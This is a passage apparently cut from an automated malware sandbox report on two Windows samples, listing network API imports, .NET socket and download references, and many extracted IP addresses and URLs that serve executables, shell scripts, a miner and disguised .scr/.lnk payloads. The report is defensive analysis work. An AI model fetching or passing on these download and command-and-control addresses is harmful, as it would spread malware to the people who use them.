/files/814870813/8aCq1Rp.exe" Found http requests in header "GET /files/6041505593/g67DNdL.exe" Found http requests in header "GET /files/814870813/i81fwxp.exe" Found http requests in header "GET /cooking.exe" Found http requests in header "GET /files/7453936223/lJ5IwxN.exe" Found http requests in header "GET /http.server/elf.exe" Found http requests in header "GET /http.server/sys.exe" Found http requests in header "GET /http.server/sup.exe" Found http requests in header "GET /http.server/tmp.exe" Found http requests in header "GET /crypted_guardfile.exe" Found http requests in header "GET /files/unique5/random.exe" Found http requests in header "GET /" Found http requests in header "GET /rabert.exe" Found http requests in header "GET /docx.exe" Found http requests in header "GET /check_latest_tl.php?optime=0" Found http requests in header "GET /window.exe" Found http requests in header "GET /windows.exe" Found http requests in header "GET /meitu.exe" Found http requests in header "GET /d/server.exe" Found http requests in header "GET /files/7782139129/GL0ygTD.exe" Found http requests in header "GET /files/8434554557/06bK6nU.exe" Found http requests in header "GET /dva.exe" Found http requests in header "GET /x.exe"74:T4e6,Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "BeginConnect" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "EndConnect" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_Connected" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "BeginReceive" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_LocalEndPoint" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "EndReceive" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Close" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "set_NoDelay" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Connect" in "server.exe" Observed Namespace "System.Net.Sockets.NetworkStream" and MemberReference ".ctor" in "server.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Dispose" in "server.exe"75:Tfc2,Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "New Text Document mod.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "New Text Document mod.exe") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; File: "New Text Document mod.exe") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "New Text Document mod.exe") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; File: "New Text Document mod.exe") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; File: "New Text Document mod.exe") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00002000-00000C2B-3203288527") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")76:T515,Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "New Text Document mod.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "New Text Document mod.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "New Text Document mod.exe" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "set_Proxy" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "add_DownloadDataCompleted" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "get_IsBusy" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "CancelAsync" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadDataAsync" in "server.exe" Observed Namespace "System.Net.WebClient" and MemberReference "remove_DownloadDataCompleted" in "server.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "server.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_AllowAutoRedirect" in "server.exe"77:T5a8,Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateNamedPipeA" (Indicator: "CreateNamedPipe"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; File: "New Text Document mod.exe") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateNamedPipeA" (Indicator: "CreateNamedPipe"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")78:T1241,Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")79:T59ce,"11.0.0.0" "0.0.0.0" Potential IP "176.122.27.90" found in string "tcp://176.122.27.90:9909" Potential IP "176.122.27.90" found in string "tcp://176.122.27.90:8888" "178.16.54.200" "176.122.27.90" "196.251.115.22" "194.180.49.148:8900" Potential IP "194.180.49.148" found in string "GET /rabert.exe HTTP/1.1Host: 194.180.49.148:8900Connection: Keep-Alive" "139.199.157.76:8000" Potential IP "139.199.157.76" found in string "GET /docx.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" Potential IP "139.199.157.76" found in string "GET /windows.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" Potential IP "139.199.157.76" found in string "GET /meitu.exe HTTP/1.1Host: 139.199.157.76:8000Connection: Keep-Alive" "185.208.159.182" "62.60.226.16:5553" Potential IP "62.60.226.16" found in string "GET /dva.exe HTTP/1.1Host: 62.60.226.16:5553Connection: Keep-Alive" "172.245.27.131" "213.142.159.116" "178.16.55.189" Potential IPs "182.124.252.171" "182.126.127.164" "182.126.87.62" "110.39.226.65" "110.37.113.135" "178.16.54.200" "182.126.127.164" found in string "http://182.124.252.171:33043/bin.shhttp://182.126.127.164:51808/ihttp://182.126.87.62:50800/ihttp://110.39.226.65:55366/ihttp://110.37.113.135:39268/ihttp://178.16.54.200/files/814870813/8aCq1Rp.exehttp://182.126.127.164:51808/bin.shhttp://24.54." Potential IPs "42.228.37.175" "123.129.132.101" "61.137.133.50" "110.39.227.195" "42.231.93.149" "123.188.69.119" "61.137.133.50" "115.56.148.166" found in string "http://42.228.37.175:48217/bin.shhttp://123.129.132.101:36353/ihttp://61.137.133.50:44440/ihttp://110.39.227.195:36251/bin.shhttp://42.231.93.149:42812/bin.shhttp://123.188.69.119:52775/ihttp://61.137.133.50:44440/bin.shhttp://115.56.148.166:4686" Potential IPs "211.169.231.210" "211.169.231.210" "211.169.231.210" found in string ".169.231.210:7070/WF_FTP/ItemPicture1/Photo.scrhttp://211.169.231.210:7070/wf_ftp_133-81-23281/Docu/202106/Photo.scrhttp://211.169.231.210:7070/wf_ftp_133-81-23281/image/docuImage/info.ziphttp://211.169.231.210:7070/WF_FTP/Docu/201612/AV.lnkhttp://211." Potential IPs "211.169.231.210" "211.169.231.210" "117.28.108.23" "187.213.28.89" "211.169.231.210" found in string "070/wf_ftp_133-81-23281/SaleDocu/Photo.scrhttp://211.169.231.210:7070/WF_FTP/Docu/201612/Photo.scrhttp://211.169.231.210:7070/WF_FTP/Docu/201805/Video.lnkhttp://117.28.108.23:8001/Photo.scrhttp://187.213.28.89:8081/Video.lnkhttp://211.169.231.210:707" Potential IPs "211.169.231.210" "211.169.231.210" "211.169.231.210" "211.169.231.210" found in string "1.210:7070/WF_FTP/Docu/201811/Video.lnkhttp://211.169.231.210:7070/Program/TAEGA/iPlusPOP/Update/info.ziphttp://211.169.231.210:7070/WF_FTP/Docu/201803/Photo.lnkhttp://211.169.231.210:7070/WF_FTP/ItemPicture/201610/AV.lnkhttp://211.169.231.210:7070/wf_" Potential IPs "115.58.148.86" "190.103.84.30" "83.233.83.199" "190.103.84.30" "42.55.21.214" "42.57.39.123" "83.233.83.199" "42.57.39.123" found in string "http://115.58.148.86:45813/ihttp://190.103.84.30:10819/ihttp://83.233.83.199:59946/ihttp://190.103.84.30:10819/bin.shhttp://42.55.21.214:42609/bin.shhttp://42.57.39.123:55666/ihttp://83.233.83.199:59946/bin.shhttp://42.57.39.123:55666/bin.shht" Potential IPs "177.42.75.238" "152.0.30.206" "144.2.111.169" "190.166.169.89" "79.45.141.77" "187.209.133.193" "188.81.205.64" "190.166.169.89" found in string "rhttp://177.42.75.238:41799/AV.scrhttp://152.0.30.206/Photo.lnkhttp://144.2.111.169/info.ziphttp://190.166.169.89:81/Video.lnkhttp://79.45.141.77:8090/Video.scrhttp://187.209.133.193/Photo.scrhttp://188.81.205.64/Photo.scrhttp://190.166.169.89:" Potential IPs "178.16.54.109" "178.16.54.109" "178.16.54.109" "223.166.85.198" "178.16.54.109" "178.16.53.7" "193.111.78.190" "193.111.78.190" found in string "lhttp://178.16.54.109/xmr.exehttp://178.16.54.109/v.exehttp://178.16.54.109/newtpp.exehttp://223.166.85.198:57813/bin.shhttp://178.16.54.109/32.exehttp://178.16.53.7/zocp.exehttp://193.111.78.190/mipshttp://193.111.78.190/x86http://200.69.61." Potential IPs "177.70.102.232" "177.70.102.232" "177.70.102.232" "177.70.102.232" found in string "http://177.70.102.232:8090/TmpFTP/01/Recep%C3%A7%C3%A3o/2019-11-04/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Recep%C3%A7%C3%A3o/2020-10-03/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Recep%C3%A7%C3%A3o/2022-05-20/info.ziphttp://177.70.102.232:8090/T" Potential IPs "111.59.254.165" "111.59.254.165" "111.59.254.165" "111.59.254.165" "111.59.254.165" found in string "5:8084/20210118/Video.scrhttp://111.59.254.165:8084/20250703/Video.lnkhttp://111.59.254.165:8084/20210118/Photo.lnkhttp://111.59.254.165:8084/20250724/Photo.scrhttp://111.59.254.165:8084/20250724/Photo.lnkhttp://111.59.254.165:8084/20250615/AV.lnkh" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "ELCACHEPRODUTOSEG/1/0021/21072020093623/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0021/001/10-2019/13/info.ziphttp://201.16.194.227:2550/TmpFTP/02/Recep%C3%A7%C3%A3o/2020-10-06/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0020/251220" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "2344/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0022/001/08-2019/14/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0011/001/08-2019/01/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0020/28092019074335/info.ziphttp://201.16.1" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "/05-2020/15/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0011/16062020071846/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0020/001/02-2020/06/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0011/001/12-2019/08/info.ziphttp://2" Potential IPs "47.216.198.156" "47.216.198.156" "177.70.102.228" found in string "B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x64/Setup/sql_common_core_msi/PFiles32/SqlServr/100/Tools/Binn/VSShell/Common7/info.ziphttp://47.216.198.156:8081/Photo.lnkhttp://47.216.198.156:8081/AV.scrhttp://177.70.102.228:8070/TmpFTP/01/Carta%20de%20Corre%" "2.107.235.202:8008/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/ia64/Setup/sql_engine_core_shared_loc_msi/2052/PFiles32/SqlServr/info.ziphttp://202.107.235.202:8008/iis/file/sorder/210805-020/images/info.ziphttp://80.11.25.16:41800/info.ziphttp://132" Potential IPs "202.107.235.202" "45.118.32.122" "177.70.102.228" "80.11.25.16" found in string "edw/PDW0900/info.ziphttp://202.107.235.202:8008/iis/file/sorder/220114-001/info.ziphttp://45.118.32.122/info.ziphttp://177.70.102.228:8070/TmpFTP/CT-e/Distribui%C3%A7%C3%A3o/02589791000162/Consulta%20Geral/2025-01-31/info.ziphttp://80.11.25.16:41800/Ph" Potential IPs "62.228.75.114" "94.203.254.14" "1.64.40.207" "177.70.102.228" "80.11.25.16" "177.70.102.228" found in string "http://62.228.75.114:8080/Photo.lnkhttp://94.203.254.14/AV.lnkhttp://1.64.40.207/Video.lnkhttp://177.70.102.228:8070/TmpFTP/01/Consulta/2021-06-10/info.ziphttp://80.11.25.16:41800/Video.lnkhttp://177.70.102.228:8070/TmpFTP/CT-e/Distribui%C3%A7%C3%A3" Potential IPs "202.107.235.202" "177.70.102.228" "177.70.102.228" "177.70.102.228" found in string "fo.ziphttp://202.107.235.202:8008/iis/file/sorder/210722-019/images/info.ziphttp://177.70.102.228:8070/TmpFTP/01/Cancelamento/2021-07-15/info.ziphttp://177.70.102.228:8070/TmpFTP/01/Cancelamento/2020-02-05/info.ziphttp://177.70.102.228:8070/TmpFTP/01/I" Potential IPs "202.107.235.202" "202.107.235.202" "202.107.235.202" found in string "02589791000405/Consulta%20Geral/2025-04-11/info.ziphttp://202.107.235.202:8008/iis/file/sorder/210726-002/document/info.ziphttp://202.107.235.202:8008/iis/file/sorder/210722-036/document/info.ziphttp://202.107.235.202:8008/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%" Potential IPs "202.107.235.202" "202.107.235.202" "202.107.235.202" found in string "://202.107.235.202:8008/iis/file/sorder/220114-001/document/info.ziphttp://202.107.235.202:8008/iis/file/sorder/210805-049/images/info.ziphttp://202.107.235.202:8008/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x86/redist/RemoteBlobStore/info.ziphttp" Potential IPs "177.70.102.228" "202.107.235.202" "177.70.102.228" found in string "70/TmpFTP/01/Cancelamento/2023-08-31/info.ziphttp://177.70.102.228:8070/TmpFTP/Disponibilidade%20de%20Servi%C3%A7o/MA/Normal/Produ%C3%A7%C3%A3o/info.ziphttp://202.107.235.202:8008/iis/file/sorder/231120-099/info.ziphttp://177.70.102.228:8070/TmpFTP/01/Re" Potential IPs "177.70.102.228" "177.70.102.228" "177.70.102.228" found in string "-08-05/info.ziphttp://177.70.102.228:8070/TmpFTP/01/Cancelamento/2021-09-14/info.ziphttp://177.70.102.228:8070/TmpFTP/01/Cancelamento/2019-09-13/info.ziphttp://177.70.102.228:8070/TmpFTP/CT-e/Distribui%C3%A7%C3%A3o/02589791000405/Consulta%20Geral/2025-04" Potential IPs "177.70.102.228" "177.70.102.228" "177.70.102.228" "177.70.102.228" found in string "info.ziphttp://177.70.102.228:8070/TmpFTP/01/Consulta/2024-12-04/info.ziphttp://177.70.102.228:8070/TmpFTP/01/Consulta/2024-08-05/info.ziphttp://177.70.102.228:8070/TmpFTP/CT-e/Distribui%C3%A7%C3%A3o/02589791000405/info.ziphttp://177.70.102.228:8070/Tm" Potential IPs "145.249.186.153" "202.107.235.202" "202.107.235.2" found in string "LFULL_CHS/ia64/Setup/sql_engine_core_shared_msi/PFiles32/SqlServr/100/Tools/Binn/schemas/sqlservr/2004/SOAP/types/SqlResSt/info.ziphttp://145.249.186.153/info.ziphttp://202.107.235.202:8088/iis/file/sorder/210804-089/document/info.ziphttp://202.107.235.2" Potential IPs "177.70.102.228" "202.107.235.202" found in string "00176793/info.ziphttp://177.70.102.228:8070/TmpFTP/TD00000000000000213545/info.ziphttp://202.107.235.202:8088/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x64/Setup/sql_engine_core_shared_loc_msi/2052/PFiles/SqlServr/100/DTS/Binn/zh-CHS/info.ziphttp:" Potential IPs "202.107.235.202" "177.70.102.228" "177.70.102.232" found in string "iphttp://202.107.235.202:8088/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/ia64/Setup/sql_common_core_msi/PFiles32/MSNET/ADOMD.NET/100/info.ziphttp://177.70.102.228:8070/TmpFTP/TD00000000000000617432/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Recep" Potential IPs "177.70.102.232" "177.70.102.232" "177.70.102.228" found in string "2:8088/iis/file/sorder/210722-055/images/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Inutiliza%C3%A7%C3%A3o/2021-03-01/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Cancelamento/2019-09-24/info.ziphttp://177.70.102.228:8070/TmpFTP/TD00000000000000209999/" Potential IPs "177.70.102.232" "202.107.235.202" "202.107.235.202" found in string "l/ia64/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Recep%C3%A7%C3%A3o/2025-05-29/info.ziphttp://202.107.235.202:8088/iis/file/sorder/220406-019/document/info.ziphttp://202.107.235.202:8088/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x64/Setup/sql_c" Potential IPs "202.107.235.202" "202.107.235.202" "177.70.102.232" found in string "fo.ziphttp://202.107.235.202:8088/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x86/1033/info.ziphttp://202.107.235.202:8088/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x86/2052/info.ziphttp://177.70.102.232:8090/TmpFTP/01/Cancelamento/2023-03-29" Potential IPs "177.70.102.228" "202.107.235.202" "202.107.235.202" found in string "/2019-08-08/info.ziphttp://177.70.102.228:8070/TmpFTP/TD00000000000000172292/info.ziphttp://202.107.235.202:8088/%E5%B8%B8%E7%94%A8%E8%BD%AF%E4%BB%B6/SQLFULL_CHS/x86/Setup/sql_engine_core_shared_loc_msi/info.ziphttp://202.107.235.202:8088/%E5%B8%B8%E7%94" Potential IPs "202.107.235.202" "202.107.235.202" "202.107.235.202" "202.107.235.202" found in string "r/211218-033/info.ziphttp://202.107.235.202:8088/iis/file/sorder/210723-002/info.ziphttp://202.107.235.202:8088/iis/file/sorder/231008-073/info.ziphttp://202.107.235.202:8088/iis/wjgl/fonts/info.ziphttp://202.107.235.202:8088/iis/file/sorder/221017-053" Potential IPs "202.107.235.202" "202.107.235.202" "202.107.235.202" found in string "7%BE%8E%E5%8D%B0%E5%88%B7%E7%94%9F%E4%BA%A7%E4%BB%93%E5%BA%93%E7%B3%BB%E7%BB%9F/PBDLL/info.ziphttp://202.107.235.202:8088/iis/file/sorder/210728-003/document/info.ziphttp://202.107.235.202:8088/iis/file/sorder/210723-026/info.ziphttp://202.107.235.202:80" Potential IPs "202.107.235.202" "202.107.235.202" "202.107.235.202" "202.107.235.202" found in string "35.202:8088/iis/file/sorder/220224-016/info.ziphttp://202.107.235.202:8088/iis/file/sorder/211228-022/info.ziphttp://202.107.235.202:8088/iis/tpcl/src/info.ziphttp://202.107.235.202:8088/iis/file/sorder/210721-076/images/info.ziphttp://202.107.235.202:" Potential IPs "121.184.128.134" "121.184.128.134" "121.184.128.134" "222.239.87.50" "121.184.128.134" found in string "18/info.ziphttp://121.184.128.134/01/23/11/10/07/info.ziphttp://121.184.128.134/02/23/11/10/16/info.ziphttp://121.184.128.134/02/23/11/05/16/info.ziphttp://222.239.87.50:8020/slnAmmiCafe/info.ziphttp://121.184.128.134/02/23/11/04/info.ziphttp://121" Potential IPs "121.184.128.134" "222.239.87.50" "121.184.128.134" "121.184.128.134" found in string "bjects/2b/info.ziphttp://121.184.128.134/02/23/11/02/15/info.ziphttp://222.239.87.50:8020/slnAmmiCafe2/AmmiCafe2File/AmmiCafe2Setup/info.ziphttp://121.184.128.134/02/24/01/31/14/info.ziphttp://121.184.128.134/01/23/11/06/06/info.ziphttp://121.184.128" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "550/TmpFTP/EXTCONS/1/0022/11082019114157/info.ziphttp://201.16.194.227:2550/TmpFTP/DELCACHEPRODUTOSEG/1/0021/31082020082340/info.ziphttp://201.16.194.227:2550/TmpFTP/EXTCONS/1/0020/06102019070128/info.ziphttp://201.16.194.227:2550/Ramon/teste/Microsoft%2" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "019-09-19/info.ziphttp://201.16.194.227:2550/TmpFTP/02/Recep%C3%A7%C3%A3o/2019-10-02/info.ziphttp://201.16.194.227:2550/TmpFTP/MDF-e/02/Encerramento/2019-08-08/info.ziphttp://201.16.194.227:2550/TmpFTP/LOG_AJUSTEFOS/0021/001/10-2019/19/info.ziphttp://2" Potential IPs "201.16.194.227" "201.16.194.227" "80.211.134.99" found in string "iphttp://201.16.194.227:2550/TmpFTP/02/Recep%C3%A7%C3%A3o/2020-01-31/info.ziphttp://201.16.194.227:2550/TmpFTP/Manifesta%C3%A7%C3%A3o/Situa%C3%A7%C3%A3o/2020-03-18/info.ziphttp://80.211.134.99/CanicatTennis_V_1_4/AppData/Settings/Usr/Usr_92/info.ziphtt" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string "mpFTP/Manifesta%C3%A7%C3%A3o/Situa%C3%A7%C3%A3o/2019-12-20/info.ziphttp://201.16.194.227:2550/TmpFTP/02/Recep%C3%A7%C3%A3o/2020-04-24/info.ziphttp://201.16.194.227:2550/TmpFTP/DELCACHEPRODUTOSEG/1/0021/11092020084859/info.ziphttp://201.16.194.227:2550/Tm" Potential IPs "201.16.194.227" "201.16.194.227" "201.16.194.227" found in string 